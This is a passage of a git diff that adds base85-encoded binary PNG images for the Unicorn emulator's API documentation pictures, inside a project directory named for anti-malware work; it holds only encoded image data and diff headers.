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 I>;KdL1}Ed=VE_OC literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/kbrF7NdV6LDxnYI.png b/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/kbrF7NdV6LDxnYI.png new file mode 100644 index 0000000000000000000000000000000000000000..c7e5bd4d6027980d298e4b07da42348011021425 GIT binary patch literal 1990 zcmZvddpOgJAIHB%R7OZ{Nk^B1sFo?_vLab-%VFjeXT}T-6GMcOq8ysWu<wkOOL9L% zHFHU6RGVwMxUAE`R|v<J<r02=zrW7!dCv2Ep7-bVy#Ic`pLeP&2CcYVdpiICiVkP( z+yG!Rb%SlT%53PJ(|wON-UnA_>=_sg2GlVG0)ggZ_J#)lmOx!10Ahhe24H|qPE7~u z$bbO=BwBhOrUU+ZfPW%@1^|!&pveHB2N-Oe<@)+MfYt-hmViGNKx2P9LjUb(Cc%W^ zXPWJAmJ?vX46*_Ne@h>Dmai$p?|8Pqc`gZ=8)(TSpJWBw<N=9^p{Mi1><hxrav~h> zJ#XjZk7nZGSw6?I2nYu8L=MS3HvpL%WDQ=lW?e+FfJAcesk{&yc8D!I)Rs-L%cq<v zxP&f<bh;nqQW$-%2mr~E@)T77kSlYrv%$s;&amY#7n!Ri&nswZrnm7^`vcqpO5e{k zKUrVTz$xC9)w~1?m>AA;NDu0xqh{k&L34d&(`t5>mh7EFaQW-VtpXcm=8b1Mvj0QZ zJ=6^2`(gKvfh+6;56ptuv~)$NLFt)k>>P^XnAg`3C(zYc<x+81paKr$%nRYIt~xBv z@4;!!J*MEw#9S-tYRvjdSQvi&(zWkmy6st|__34`rc<3C_27xDKa!D3ZavqL(Kc#b zP~ca7TgbsqF`_GnfSGY{>+)7}gyMI|ScO8UtBaD1%dKlaMps9kJn80)3-VvrMp|0P z?OtB8-KQ4!mz>QD@OSR*O&zD|y3?ko(w^Vk#5x8+o<`%bo(k_5uzGjxzZgRC9}{6k zR_7s6>k5gtx;F4eV<=CbW8DSv)MPF%*Po=aAMC*uG2K7cWFvL!oj7l_7?e`!0UK3; zBge@$d>2vqg_Q>+Y7(_9&%QJ>^9gHxia$byHtW{^b+^OfoZR!smc`VM_+op6%HHx~ zn7(n6QCh<fi*VIX%AfYJ$SD1zJ0zp@req%xE@kE?i=A7mMCHY`1d4j-yHx#c#Ktkf z%Xp`of&Nihq}eq}T%6=<#mqtk?=3UUdfpwb%q{z17<Bf`BEvo>H<B}YYw<CMQ_N)f zq`FJuk3>r}D`^VbJxK|*p77FNm7bPtd)yv6BIJ7ZR7_BN-h#Y@mIU$m=)w0mBBkZ5 z)}>6O*1Rm%FDvxSb0=|To6e8{e6UghVoYaC-n9!Oq4wtbW${Wl^fb042}zeNNc{o| z{lE^xBKIZs9Mta(lVCxj!*H}w41!6N={`j!(1x~ghSU${Bh`OhGR2jM^BVkK2SVf1 zg78~|FWKVCv6)!)z!35wCU5LnevL<nhlB2rMyUkxlFhQJd^YS4^6*oKz_ggZ-w=(A z9&A3OCH){e)tGM#3YK;sPhjZJzs#^pVyFqqLY(3H8EN2G+q9}fd%Qxs`kzl6G3oNo ztn;pV%^p(|xNx{68LFSqMW`3A)h4dz5MMk{1aXcH$-6MLZ^&5Hv@#770M9_>c7EwN zn%NOsJZx1Z(1S|XO->52C=KyYOiRbJIwtSWhW(G%PBQa;@M`QZ1oN8{!3DArZa1>? z_}i<Ug?b;5pJ6Do1n8%Y(h!uAHcIn<2$#3H70~6ouR~dD@67mp56`^|L36i5zq)Gk z@PoCZ=9{TS>DGqGh<?MgqGRa6)>L@uLR&j?|04w#7aBK3nmu~dew9G$$JO*6E<Qf~ zP;l{_&VbjYUU$WD{@Ojc7v!Z%JV{E*?^f(>p%qbfM1>CbfJOLUs$Z#C4tQN|8u7h& zfP?tarPCmuEJhK@oI<(_50#&yGNk1tALP?<E2+HO(1TtJPV0J=T~ErnVkC0B;Ph~d zm<}QeQIiSw{@HQgcTJvTp{8{M5q#~8?}VA@Wmngc?($|vhSEYe#H*#et%yU5k_x># zk>%aH7PIEro)VQpmVRIi1Y0T5Hc26KRt-)lZaL1SP3G`>cJSHm!Fnu7zZ&xqi?qz1 zjmD6ic}urtmp2K1*>7AtaacZ#L(#PCyQg|!q|@2wvD?iS2`)lf_GEB3&LY+h3i(zx zJO9Mys|ruh{)ZWLERsM;lrD&oajthNIz^w3^P_yLYw=VuDN+NulSr%N-c+xc>R>!P z7_DM$%0Z;xk8X@!lrH$vD!0I!lP#G=l>V{RsfG!S3rX*Ba|QzX=Uyqc_kxFZE|<)= zwQtg{Ot5A?g0&YoW#)^@bY~k)A9*(8zEzzE%uT2s{B#qr?cQ9|-@bx@nzHFleoSdp zAdRg=3{&k34vn6>^6ILpmqly{q$A9H<ygDW-ex>^1z+w2i>vBJ(zq=o{jeJiHSe1m z!iCO8?x!spuZ4^>;5=jHZF3}hdM7%|*~UX<8ESj@ralKckv*z)D5vV|;bOL2CW5eX zMd&pI?pH9|neqZL@wOxqqX8*>`#HvpYLCMx)_4mlo5e@S=JfN;wWpj-v!x#~_5+u1 zWhZ}b3H!MGE?9zoSNNee($?CCtK*=E?DM~Xa~Mt^u^Wg%#W(+)GiENoI+G+{z3ucr z*5DubuW?UsES%a~X)!ip)QS=Hsjn$QD389WHDV{~+F~_Sb7$af?+xxcAg7d>t16kq Q{C9&L&S31SZ3#*L0j<%}^8f$< literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/l1AhdxgKE2U3tZB.png b/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/l1AhdxgKE2U3tZB.png new file mode 100644 index 0000000000000000000000000000000000000000..24e592ad5e7312e30e430f8e39dbb89e9e295504 GIT binary patch literal 2502 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 literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/l4HhgDzcJIVvFNU.png b/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/l4HhgDzcJIVvFNU.png new file mode 100644 index 0000000000000000000000000000000000000000..475ac91568ee2ad706f1eb5640f6e69dca1acbc6 GIT binary patch literal 2415 zcmZ`*X;c!378V2*EkxAR#Bd|a-FZE63#@R^n$ejScLSHvOhMGiB}Fhb_a!q&E5)f- zF1cVXXewc-)Tog;lUuo>G@~TsD2CfO@5ejuymQ`<d++(qx#v6ge&3IKv%ho4A5=c9 zEGH*-(9IQhe!q(M!%0bDKYP>A0djH>TQ}UPiwOXc@2g@>7mWthS^4)*gCE*e-LNoq zCtcAddn+GnS8AAr{qYQKnMW}?(K;;nQ_*}|j!WssK8k+2Cg{3Gcqe{#8T)cWTVnVm zrXz9nq);&YfK<7;On&2G4^#X@;5_Oy4wW5OoOgbNfKl!MtJAzP6cI&q6fwFg2&&Yb z(|bYFQ?vBHG1wFQzxW7Ttcu;$c)WdcCBk1Z%g#Dg{>&@Ci`}%nwI~gzDTA$t1M&Qu zkL?fN{Qya|?C~XKEP1QneGD0XhkFh^!5)5dBH~HYMZbuj?c?I2X51t`dy@Mxm#?PE zZ+sXx<*8r`daW{bWMk;5i23&dnpV7n6o_`%bQmCyr99d-0G#5?(8OVzpLVb>SgSin z*ojh>c-`^&O{*C;vau)8%AdMJ-rOFlV1D^SL|Ob(MESD#f%5w!!i(zaxCcdp8*aM= z`bgud($n<pc~jIusxDr5YV~f{bcyhVLJ+7%G0xcsP!cnTvst$ef|ed7ZVqYNhGo8x 